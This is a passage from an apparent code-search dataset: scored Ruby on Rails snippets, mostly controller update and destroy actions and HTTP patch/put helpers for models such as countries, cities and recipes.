@country_master.update(country_master_params)\n format.js { flash.now[:notice] = \"Country was successfully updated.\" }\n format.html { redirect_to @country_master, notice: 'Country master was successfully updated.' }\n format.json { render :show, status: :ok, location: @country_master }\n else\n format.js { render :edit }\n format.html { render :edit }\n format.json { render json: @country_master.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f7c16b9e14f1352bb07fd27f83679a7", "score": "0.5846589", "text": "def patch(path, params: {}, headers: {})\n request_json :patch, path, params, headers\n end", "title": "" }, { "docid": "c4802845d757fbb28e5ee6b5a9bd5b19", "score": "0.5845379", "text": "def update\n respond_to do |format|\n if @country.update_attributes(params[:country])\n format.html { redirect_to(asset_manager_country_path(@country), :notice => 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => :edit }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fa16209f5ac39ae638cdf45c17fd5f18", "score": "0.5840203", "text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end", "title": "" }, { "docid": "fa16209f5ac39ae638cdf45c17fd5f18", "score": "0.5840203", "text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end", "title": "" }, { "docid": "f5d2146bdf5a864b4b1a454d86c8f85c", "score": "0.5828692", "text": "def update\n #@country_team = CountryTeam.find(params[:id])\n\n respond_to do |format|\n if @country_team.update_attributes(params[:country_team])\n format.html { redirect_to @country_team, notice: 'Country team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @country_team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d5eaea298e64625a71a15a970f3b75ed", "score": "0.5820077", "text": "def patch *args\n make_request :patch, *args\n end", "title": "" }, { "docid": "ec64ec228119347e50bc0e3c43139000", "score": "0.57999575", "text": "def update_all!(force=false)\n update_resources(:partners, :all_partners, 'id', force, ['countries'])\n end", "title": "" }, { "docid": "dd3cd2095af1713b6a86d6515db81de4", "score": "0.578953", "text": "def put_update(options = {})\n options[:id] ||= @fax.id\n options[:fax] ||= @attributes\n\n put :update,options\n end", "title": "" }, { "docid": "ab70d7a62271f635d27a4030ee6454d4", "score": "0.57861614", "text": "def edit\n @countries = Countr.all\n if current_user.state_id && current_user.country_id.present? && current_user.city_id.present? && current_user.city_id != 0\n state = Stat.find(current_user.state_id) if current_user.state_id.present? && current_user.state_id != 0\n city = City.find(current_user.city_id) if current_user.city_id.present? && current_user.city_id != 0\n @states = [state] \n @cities = [city] \n else\n @states = [] \n @cities = [] \n end\n if params[:country].present? or params[:state].present?\n @states = Stat.where(:countr_id => params[:country] )\n @cities = City.where(:stat_id => params[:state] )\n end\n if request.xhr?\n respond_to do |format|\n format.json {\n render json: {states: @states} if params[:country].present?\n render json: {cities: @cities} if params[:state].present?\n }\n end\n end\n end", "title": "" }, { "docid": "af9aedd4f428a2c26c3fd57798526020", "score": "0.57765865", "text": "def put(path, data = {}, header = {})\n _send(json_request(Net::HTTP::Patch, path, data, header))\n end", "title": "" }, { "docid": "d61c0aeb123e4c5cfcb2ba019dd903a0", "score": "0.5775394", "text": "def patch(options = {})\n request :patch, options\n end", "title": "" }, { "docid": "bf0b6fbd624aa763d798b64edcdba8e9", "score": "0.57691", "text": "def update\n @country = Country.find(params[:id])\n\n respond_to do |format|\n if @country.update_attributes(params[:country].permit(:visited,:name,:code))\n format.html { redirect_to(@country, :notice => 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb488bbbdfadaa26e12680a9a6d6f086", "score": "0.57653856", "text": "def update\n\n success = @request.update(request_params)\n if success\n @request.country = Region.find(request_params[:city]).country\n @request.save\n end\n respond_to do |format|\n if success\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "28c11158ac6f7cd7f6230f8c728af41a", "score": "0.5751859", "text": "def update\n respond_to do |format|\n if @continent.update(continent_params)\n format.html { redirect_to @continent, notice: 'Continent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @continent.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b094d2d9e05d560edfc9226aa941ad22", "score": "0.5736322", "text": "def patch(path, options={})\n send_request(:patch, path, options)\n end", "title": "" }, { "docid": "0cd2f4f86202fb4167889405a4bd2e8e", "score": "0.5735558", "text": "def update\n @country = Country.find(params[:id])\n country_params = params[:country]\n #NOTE: The design looks wrong. General user should not be able to update countries.\n # But I want to leave it to make provided specs works\n visited = country_params.delete(:visited)\n if visited == '1'\n @country.visit(current_user)\n else\n @country.not_visit(current_user)\n end\n respond_to do |format|\n if @country.update_attributes(country_params)\n format.html { redirect_to(@country, :notice => 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7847a1baeb7fcd8cad3495ca30641340", "score": "0.57352203", "text": "def update\n begin\n\t\tif signed_in?\n\t\t\t@current_client = current_user.username\n\t\t\t@country = Country.find(params[:id])\n\t\t\trespond_to do |format|\n\t\t\t if @country.update_attributes(params[:country])\n\t\t\t\tformat.html { redirect_to @country, notice: 'Country was successfully updated.' }\n\t\t\t\tformat.js {render 'success_update.js.erb'}\n\t\t\t\tformat.json { head :no_content }\n\t\t\t else\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @country.errors, status: :unprocessable_entity }\n\t\t\t end\n\t\t\tend\n\t\telse\n\t\t\tredirect_to signin_path\n\t\tend\n\trescue => e\n\t\t @message = e.message\n\t\t @client = current_user\n\t\t @caught_at = 'countries#update'\n\t\t ClientMailer.Error_Delivery(@message, @client, @caught_at).deliver\n\tend\n end", "title": "" }, { "docid": "df618368821ca27628eb9fbcfaa232ab", "score": "0.5734908", "text": "def update\n respond_to do |format|\n if @category_country.update(category_country_params)\n format.html { redirect_to @category_country, notice: 'Category country was successfully updated.' }\n format.json { render :show, status: :ok, location: @category_country }\n else\n format.html { render :edit }\n format.json { render json: @category_country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4d91662afc6c0a9572d0ebdf6a34ea24", "score": "0.57260334", "text": "def update\n @country = Country.find(params[:id])\n\n respond_to do |format|\n if @country.update_attributes(params[:country])\n flash[:notice] = 'Country was successfully updated.'\n format.html { redirect_to(cim_hrdb_country_path(@country)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5b9e472e183114bb3754c9f798cee5cf", "score": "0.5715491", "text": "def update\n @user_country = UserCountry.find(params[:id])\n\n respond_to do |format|\n if @user_country.update_attributes(params[:user_country])\n format.html { redirect_to(@user_country, :notice => 'User country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_country.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a6781bde579ad817c166f4aa6088c8bb", "score": "0.57150626", "text": "def update\n respond_to do |format|\n if @country_code.update(country_code_params)\n format.html { redirect_to @country_code, notice: 'Country code was successfully updated.' }\n format.json { render :show, status: :ok, location: @country_code }\n else\n format.html { render :edit }\n format.json { render json: @country_code.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "abb483778fd7958a7fc9823a0a3b191c", "score": "0.57063496", "text": "def test_should_update_city\n @item = City.find(8338)\n @item.ufi = 3333\n #json: '{\"type\": \"Feature\", \"properties\": {\"name\": \"Buenos Aires\", \"admin_code\": 203, \"ufi\": 3333, \"mgcc\": 12, \"population\": 12116379, \"attrib\": 131}, \"geometry\": {\"type\": \"Point\", \"coordinates\": [-58.6725, -34.5875]}, \"id\": 8338}'\n put :update, parse_body(@item.to_geojson)\n assert_equal @item.to_geojson, @response.body\n end", "title": "" }, { "docid": "ea416b077fa0aa7e84ec3fe2ef9c3772", "score": "0.57059205", "text": "def put\n request_method('PUT')\n end", "title": "" }, { "docid": "f1c91ed6b310d42b0cc26f3d4de97410", "score": "0.5705665", "text": "def patch(path, options = {})\n request(:patch, path, form: options)\n end", "title": "" }, { "docid": "025fd4e7980816d6c229844c31f095ae", "score": "0.57052577", "text": "def update\n @person = Person.find(params[:id])\n\n if @person.update(person_params)\n head :no_content\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "0a565cef00d6874eb6d07052cd70dfab", "score": "0.57038194", "text": "def update(json_resource)\n jsonapi_request(:patch, \"#{@route}/#{json_resource['id']}\", \"data\"=> json_resource)\n end", "title": "" }, { "docid": "af7a0d2aaaacb542d34d33bbb5a507e9", "score": "0.57026935", "text": "def update\n @country = Country.find(params[:id])\n @country.visa.attributes = params[:country][:visa]\n @country.memo.attributes = params[:country][:memo]\n @country.embassy.attributes = params[:country][:embassy]\n @country.phrasebook.attributes = params[:country][:phrasebook]\n if @country.update_attributes(params[:country])\n redirect_to :action => \"index\"\n else\n render :action => \"edit\"\n end\n end", "title": "" }, { "docid": "a226fbe78a358ef9b93ec096180d3b88", "score": "0.57023793", "text": "def update\n @breadcrumb = 'update'\n @region = Region.find(params[:id])\n @region.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @region.update_attributes(params[:region])\n format.html { redirect_to @region,\n notice: (crud_notice('updated', @region) + \"#{undo_link(@region)}\").html_safe }\n format.json { head :no_content }\n else\n @countries = Country.order(:name)\n format.html { render action: \"edit\" }\n format.json { render json: @region.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "249d4fdfb1fc0c681eca504cd930f289", "score": "0.5699841", "text": "def update\n @api_v1_post_flag = PostFlag.find(params[:id])\n\n respond_to do |format|\n if @api_v1_post_flag.update_attributes(params[:api_v1_post_flag])\n format.html { redirect_to @api_v1_post_flag, notice: 'Post flag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v1_post_flag.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8a1fcbdae3046e2102f533f681b61c66", "score": "0.56862366", "text": "def update_contact\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/3'\n ).to_s\n\n puts RestClient.patch(\n url, {contact: {name: \"Josh\", email: \"josh@gmail.com\"}} )\nend", "title": "" }, { "docid": "77ce27989a6eb1263af612ecffa00850", "score": "0.5681214", "text": "def update\n update! do |success, failure|\n success.json { render :json => resource }\n end\n end", "title": "" }, { "docid": "03cf3a71d2494ee4ae31f2266b92a657", "score": "0.56522036", "text": "def update\n respond_to do |format|\n if @opt10059_one_one.update(opt10059_one_one_params)\n format.html { redirect_to @opt10059_one_one, notice: 'Opt10059 one one was successfully updated.' }\n format.json { render :show, status: :ok, location: @opt10059_one_one }\n else\n format.html { render :edit }\n format.json { render json: @opt10059_one_one.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "20fb79ba84ee2746929a3fdde7e7f639", "score": "0.5645626", "text": "def update\n @booking_country = BookingCountry.find(params[:id])\n\n respond_to do |format|\n if @booking_country.update_attributes(params[:booking_country])\n format.html { redirect_to [:admin,@booking_country], notice: 'Booking city was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking_country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c0b998e143ad2c37de30c76689c22365", "score": "0.5631888", "text": "def put(path, body, options = {})\n options[:body] = body\n json_request('PUT', path, options)\n end", "title": "" }, { "docid": "cadd759441cba9cf4cf0114a0227b785", "score": "0.5629842", "text": "def update\n\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to clients_path, notice: 'Se modificó un cliente.' }\n format.json { respond_with_bip(@client) }\n format.js\n else\n format.html { render :edit }\n format.json { respond_with_bip(@client) }\n format.js\n end\n end\n end", "title": "" }, { "docid": "1b43604bd409d8c4644421c395d71320", "score": "0.5621949", "text": "def update\n\t\t\t\trender json: {}, status: 405\n\t\t\tend", "title": "" }, { "docid": "d66813c90ac1ac32fc919a0c83c85b7f", "score": "0.56211317", "text": "def change_country_code\n @country_mob_code = ISO3166::Country[params[:country_code]].country_code\n render json: {country_code_mob: @country_mob_code}\n end", "title": "" }, { "docid": "0c147569976df49c1fd916abf80f35ee", "score": "0.5614234", "text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.json { head :no_content }\n else\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "781b2f0ac0622ebf22bfde8972b7037e", "score": "0.56053215", "text": "def update\n if @client.update(client_params)\n render json: @client\n else\n render json: @client.errors, status: :unprocessable_entity\n end\nend", "title": "" }, { "docid": "2c5497f059ab1d7457ffc834ecb8f6a2", "score": "0.55999935", "text": "def patch(path, params = {})\n request(:patch, path, params)\n end", "title": "" }, { "docid": "209f4a5cbb1a26d9624f954ed2e4ebc3", "score": "0.55990654", "text": "def edit\n @country = Country.find params[:id]\n end", "title": "" }, { "docid": "6c4693c41405f94b73fba069badb368a", "score": "0.5594494", "text": "def update\n respond_to do |format|\n if @country_language.update(country_language_params)\n format.html { redirect_to @country_language, notice: 'Country language was successfully updated.' }\n format.json { render :show, status: :ok, location: @country_language }\n else\n format.html { render :edit }\n format.json { render json: @country_language.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f8872308cd71e90aed963baf02fd23e", "score": "0.55939204", "text": "def update\n request = RestClient.put File.join(API_SERVER,\"rest-api/departments\"), { \n 'id' => params['id'], \n 'name' => params['department']['name'], \n 'description' => params['department']['description'] }.to_json, :content_type => :json, :accept => :json\n\n redirect_to :action => :index\n end", "title": "" }, { "docid": "1c35f89f4e93251128bbf53c08021b3d", "score": "0.559361", "text": "def update\n @company_id = company_params[:company_id]\n @reponse = HTTParty.put(\"https://rails-api-ipo.herokuapp.com/api/v1/companies/#{@company_id}.json\",\n :body => {:company_name => company_params[:company_name]}.to_json,\n :headers => { 'Content-Type' => 'application/json' } )\n respond_to do |format|\n format.html { redirect_to '/companies/'+(@reponse['id'].to_s), notice: 'Company was successfully created.' }\n end\n end", "title": "" }, { "docid": "0c1a09a9d20ee815b5c9f998eda70b44", "score": "0.55927414", "text": "def patch(path, params = {}, options = {})\n options[:content_type] ||= :json\n options[:Authorization] = \"simple-token #{self.access_token}\"\n RestClient.patch(request_url(path), params.to_json, options)\n end", "title": "" }, { "docid": "e90512d62c70ba55eaced1b203df7f82", "score": "0.5588143", "text": "def update\n @foreign_cities = ForeignCity.all\n @foreign_city = ForeignCity.find(params[:id])\n\n @foreign_city.update_attributes(foreign_city_params)\n\n @countries = Country.all.order(:country_name)\n end", "title": "" }, { "docid": "b4fbe2bb4554c75214ec612a847f458e", "score": "0.55876476", "text": "def update_tenant_circle(args = {}) \n id = args['id']\n temp_path = \"/tenantcircles.json/{circleId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantcircleId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "645428b211bda1f5e79f3fe9af38a7bf", "score": "0.5587365", "text": "def update\n respond_to do |format|\n if @objective.update(objective_params)\n format.html { redirect_to @objective, notice: 'Objective was successfully updated.' }\n format.json { respond_with_bip(@objective) }\n else\n format.html { render :edit }\n format.json { render json: @objective.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8f7f417647db7cec92f2670ab59e4c88", "score": "0.55861205", "text": "def patch(path, options = {}, &block)\n perform_request Net::HTTP::Patch, path, options, &block\n end", "title": "" }, { "docid": "1c8d6d0d0191855ef8aa7d17e1dd89bf", "score": "0.55837667", "text": "def update\n respond_to do |format|\n if @issuing_country.update(issuing_country_params)\n format.html { redirect_to @issuing_country, notice: \"Issuing country was successfully updated.\" }\n format.json { render :show, status: :ok, location: @issuing_country }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @issuing_country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f09b3d8e1c4b2637086a5570d36ac1b1", "score": "0.5582854", "text": "def put(path, body, options = {})\r\n options[:body] = body\r\n json_request('PUT', path, options)\r\n end", "title": "" }, { "docid": "07a000a00b0f193f4e8b1aa2a2aac121", "score": "0.5579546", "text": "def update\n respond_to do |format|\n if @location_supported_country.update(location_supported_country_params)\n format.html { redirect_to(admin_location_supported_countries_url, notice: 'Location supported_country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @location_supported_country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "db280714f42b83990a69be8fef41b8de", "score": "0.5570422", "text": "def update\n respond_to do |format|\n if @api_v1_pending.update(api_v1_pending_params)\n format.html { redirect_to @api_v1_pending, notice: 'Pending was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_pending }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_pending.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "741aa4e81fdc168cf5b5347ba4a6bddd", "score": "0.55700624", "text": "def update\n respond_to do |format|\n if @country_region_city.update(country_region_city_params)\n format.html { redirect_to @country_region_city, notice: 'Country region city was successfully updated.' }\n format.json { render :show, status: :ok, location: @country_region_city }\n else\n format.html { render :edit }\n format.json { render json: @country_region_city.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "03d3dc12cfbe7f4529450b9c6085bfd0", "score": "0.556917", "text": "def update\n @people = Person.find(params[:id])\n people_params = params.permit(:first_name, :last_name, :organisation_id)\n\n if @people.update(people_params)\n render status: 200\n else\n render status: 422, json: {error: @people.errors.full_messages.first}\n end\n end", "title": "" } ]
a17ae17aea345e17dd3efdac2b5f25c7
before_filter :delete_chest, :only => :create
[ { "docid": "754ae7050f4e0b964c5179382ed8c45a", "score": "0.0", "text": "def new\n super\n end", "title": "" } ]
[ { "docid": "908c272d25300e0962429fd02689e686", "score": "0.67316484", "text": "def destroy\n @chest.destroy\n respond_to do |format|\n format.html { redirect_to chests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "95d5b6961ebea5f990561d74d1c94364", "score": "0.6314036", "text": "def before_destroy() end", "title": "" }, { "docid": "1fc1c66c5cec058bd0a4db70a1c90309", "score": "0.63070434", "text": "def before_destroy\n end", "title": "" }, { "docid": "a69d2a09fa9afee43085f17f5f3a9ac1", "score": "0.6264153", "text": "def destroy\n @want = authorise(load_want)\n @want.destroy\n\n redirect_to(request.referrer || { action: :index },\n notice: 'Successfully deleted.')\n end", "title": "" }, { "docid": "8a17e1cfbc8dc090b393745d9d88d515", "score": "0.62501454", "text": "def before_destroy\n \n end", "title": "" }, { "docid": "c30bfb0cbaeef1e039d9b832deabe0bf", "score": "0.6232412", "text": "def destroy\n authorize! :destroy, @water_fountain\n @water_fountain.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "42a4cc735af7ff5b5655e577655b454e", "score": "0.61768264", "text": "def destroy\n authorize! :index, @user, :message => 'Not authorized.'\n @feast = Feast.find(params[:id])\n @feast.destroy\n\n respond_to do |format|\n format.html { redirect_to feasts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "44cbc44311ed9734a0df3663ff5602fd", "score": "0.6168509", "text": "def destroy\n @crew.destroy\n respond_to do |format|\n format.html { redirect_to crews_url, notice: 'Crew was successfully destroyed.' }\n format.json { head :no_content }\n end\n authorize! :destroy, @crew\n end", "title": "" }, { "docid": "d3f95ba6fc02624ed9ae5532f3b3ad09", "score": "0.6156248", "text": "def destroy\n authorize! :manage, @chicken\n\n @chicken.destroy\n respond_to do |format|\n format.html { redirect_to flock_chickens_path(@flock), notice: \"Chicken was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e83e50a03eee956185fd18a717b881ae", "score": "0.6150834", "text": "def remove\n @student = Student.shod(params[:format])\n authorize! :create, @student\n end", "title": "" }, { "docid": "9e10d0b5053d870d97ff7a231cf2281e", "score": "0.61479384", "text": "def before_destroy\n\n end", "title": "" }, { "docid": "f4f82c5bae6b5dade8bcd2ea7624d539", "score": "0.6146008", "text": "def destroy\n @hunt.destroy\n respond_to do |format|\n format.html { redirect_to hunts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d3f3e6cceeab8460c7953fbe694f9dd3", "score": "0.6141171", "text": "def destroy\n if !signed_in_and_master?\n flash[:notice] = \"Sorry. Only technical manager can delete data. Please, contact Roberto SPURIO to do it.\"\n redirect_to altitude_types_path\n else\n\n @title = \"filter\"\n\n @filter_sample = FilterSample.find(:first, :conditions => [ \"wfilter_id = ?\", params[:id]])\n if !@filter_sample.nil?\n flash[:error] = \"This entry cannot be deleted until used by another entries (Filter sample) in the system...\"\n redirect_to :action => \"index\"\n return\n end\n\n @wfilter = Wfilter.find(params[:id])\n @wfilter.destroy\n\n respond_to do |format|\n format.html { redirect_to(wfilters_url) }\n format.xml { head :ok }\n end\n end\n end", "title": "" }, { "docid": "a5dd2afe278a64177a265f98bf912eb5", "score": "0.6140343", "text": "def destroy\n # authorize @horse\n @horse.destroy\n respond_to do |format|\n format.html { redirect_to horses_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a2ef89cd1612bb456103a890b11a9c72", "score": "0.6133453", "text": "def destroy\n @cheater = Cheater.find(params[:id])\n @cheater.destroy\n\n respond_to do |format|\n format.html { redirect_to cheaters_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3d4be2e1c41fd278845f690d8c519663", "score": "0.6128216", "text": "def delete\n @studm = Student.find(params[:id]).destroy\n authorize! :delete, @studm\n redirect_to :action => \"index\"\nend", "title": "" }, { "docid": "16d238d2fc103ba61e644da04f6295a8", "score": "0.6125255", "text": "def destroy\n @sandwich = Sandwich.find(params[:id])\n @sandwich.destroy\n\n respond_to do |format|\n format.html { redirect_to sandwiches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "16d238d2fc103ba61e644da04f6295a8", "score": "0.6125255", "text": "def destroy\n @sandwich = Sandwich.find(params[:id])\n @sandwich.destroy\n\n respond_to do |format|\n format.html { redirect_to sandwiches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dc8598b6cd88b1aa284043c782574356", "score": "0.61242783", "text": "def destroy\n @crest = Crest.find(params[:id])\n @crest.destroy\n\n respond_to do |format|\n format.html { redirect_to crests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6f5f80fa0d7fdcd5d44af471c6519105", "score": "0.612246", "text": "def remove_course\n authorize! :remove_course, Camper\n @camper = Camper.find_by_id(params[:camper])\n @course = Course.find_by_id(params[:course])\n @camper.courses.delete(@course)\n flash[:notice] = \"Removed course!\"\n redirect_to @camper\nend", "title": "" }, { "docid": "0772dcfc4bed3ea718e7b41ebbe07f3d", "score": "0.61117774", "text": "def destroy\n\t\t@filter.destroy\n\t\trender :nothing => true\n\tend", "title": "" }, { "docid": "dfe4258b236ad311ea95788e6f4604cf", "score": "0.6108784", "text": "def remove_dish\n @meal = Meal.find(params[:meal_id])\n @order = @meal.orders.find(params[:order_id])\n authorize @order, :update?\n @dish = @order.dishes.find(params[:dish_id])\n @order.dishes.delete(@dish) if @dish\n @order.save\n redirect_to [@meal, @order]\n end", "title": "" }, { "docid": "fde1a0b82474563f604eee8a92027c78", "score": "0.6108177", "text": "def destroy\n authorize! :destroy, Section\n redirect_to root\n end", "title": "" }, { "docid": "cfccf69497f9deb7ba4ca5401a121da8", "score": "0.6097333", "text": "def destroy\n @sandwich = Sandwich.find(params[:id])\n @sandwich.destroy\n\n respond_to do |format|\n format.html { redirect_to sandwiches_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "72ad081162bed998d397a8de6953b259", "score": "0.60950065", "text": "def destroy\n @have = authorise(load_have)\n @have.destroy\n\n redirect_to(request.referrer || { action: :index },\n notice: 'Successfully deleted.')\n end", "title": "" }, { "docid": "4f0c23898b60d0805cb8e5542b951fdd", "score": "0.608716", "text": "def destroy\r\n not_acceptable\r\n end", "title": "" }, { "docid": "04c567504f72ad300673e9ce81e33e9f", "score": "0.60850954", "text": "def destroy\n @recipe = Recipe.find(params[:id])\n authorize! :destroy, @recipe\n @recipe.destroy\n\n redirect_to recipes_path\n end", "title": "" }, { "docid": "88d74166e6229b0381829553c5c5e817", "score": "0.60842454", "text": "def remove\n authorize @staff_student\n end", "title": "" }, { "docid": "5becce7f4c60de94f91e12f570a29caa", "score": "0.60667855", "text": "def destroy\r\n admincheck()\r\n @ingredient = Ingredient.find(params[:id])\r\n @ingredient.destroy\r\n redirect_to ingredients_path\r\n end", "title": "" }, { "docid": "cf6c783ac66664410faff263c3c5710e", "score": "0.6063748", "text": "def destroy\n @title = \"filter sample preparation\"\n\n @ss = FilterSample.find(:first, :conditions => [ \"filter_sample_preparations_id = ?\", params[:id]])\n if !@ss.nil?\n flash[:error] = \"This entry cannot be deleted until used by another entries in the system...\"\n redirect_to :action => \"index\"\n return\n end\n\n @filter_sample_preparation = FilterSamplePreparation.find(params[:id])\n @filter_sample_preparation.destroy\n\n respond_to do |format|\n format.html { redirect_to(filter_sample_preparations_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b602c7d40be06657dc358690fa30c38f", "score": "0.6062657", "text": "def destroy\n @cheese.destroy\n respond_to do |format|\n format.html { redirect_to cheeses_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7e464873941daa06e72f607a9ce20de2", "score": "0.60585725", "text": "def destroy\n @shelter = Shelter.find(params[:id])\n @shelter.destroy\n\n\n redirect_to admin_shelters_url\n\n \n end", "title": "" }, { "docid": "05e1d4bda39b2f8eefb358bedae9fe7b", "score": "0.60518837", "text": "def destroy\n if @fashion.user.id != @user.id\n redirect_to fashions_path , notice:\"Not authorized\"\n end\n @fashion.destroy\n respond_to do |format|\n format.html { redirect_to fashions_url }\n end\n end", "title": "" }, { "docid": "a3cbe94eddd7255d2458418bc6ba23f3", "score": "0.603902", "text": "def destroy\n # see before action filter\n @todo.destroy\n flash[:notice] = \"Zapped...\"\n redirect_to todos_path\n end", "title": "" }, { "docid": "c69fb593af3f1c1ab058e04720e4b729", "score": "0.6030448", "text": "def destroy\n authorize! :index, @user, :message => 'Not authorized.'\n @common_feast = CommonFeast.find(params[:id])\n @common_feast.destroy\n\n respond_to do |format|\n format.html { redirect_to common_feasts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "941473a10f358854f70a2377827aaae4", "score": "0.60294235", "text": "def destroy\n # @costbook defined in before_filter\n @costbook.destroy\n\n respond_to do |format|\n format.html { redirect_to costbooks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "26e27df12a7904c4d8dbeb2d48a6a22f", "score": "0.6028745", "text": "def taco\n Thing.find(params[:asdfhjg]).destroy\n redirect_to things_new_path\n end", "title": "" }, { "docid": "56aaa51a06a1fe378265c25bcb9ac0a7", "score": "0.60263276", "text": "def destroy\n authorize @filter\n @filter.destroy\n respond_to do |format|\n format.html { redirect_to current_user_path, notice: 'Filter was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "96330660a073610f577f170bb025a425", "score": "0.601899", "text": "def destroy\n @myrecipe.destroy\n redirect_to action: \"show\"\n end", "title": "" }, { "docid": "6b5a4befcf11468d443903d036f83ddc", "score": "0.6018893", "text": "def destroy\n @thirteen.destroy\n respond_to do |format|\n format.html { redirect_to thirteens_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "08732022b47bf9ee98d4513e5439187c", "score": "0.60110176", "text": "def destroy\n @thirtysix.destroy\n respond_to do |format|\n format.html { redirect_to thirtysixes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "feb4527b0116317edc723b3a714d1174", "score": "0.6010557", "text": "def destroy\n @stance.destroy\n respond_to do |format|\n format.html { redirect_to stances_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c973869a1f3250b6a0a6e8832d63ca4e", "score": "0.6009695", "text": "def destroy\n @mostsmalltreasurechest = Mostsmalltreasurechest.find(params[:id])\n @mostsmalltreasurechest.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmalltreasurechests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2def9072bf1b3f9dbc932ede614f2cc6", "score": "0.60028017", "text": "def destroy\n authorize! :destroy, @stories\n Story.find(params[:id]).destroy\n redirect_to admin_stories_path\n end", "title": "" }, { "docid": "5369a31953350c7a30c7b378c5873059", "score": "0.5999606", "text": "def destroy\n # будем удалять зал если удаляемый стеллаж последний \n @stillage.hall.destroy if @stillage.hall.stillages.pluck(:index).size == 1\n @stillage.destroy\n respond_to do |format|\n format.html { redirect_to stillages_url, notice: 'Stillage was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c91f39ab4b6f48dd01fa9aadad56be2d", "score": "0.5991451", "text": "def destroy\n @thirtyseven.destroy\n respond_to do |format|\n format.html { redirect_to thirtysevens_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b3080e948b30e7b8b1da4f5b48e84d88", "score": "0.5984831", "text": "def 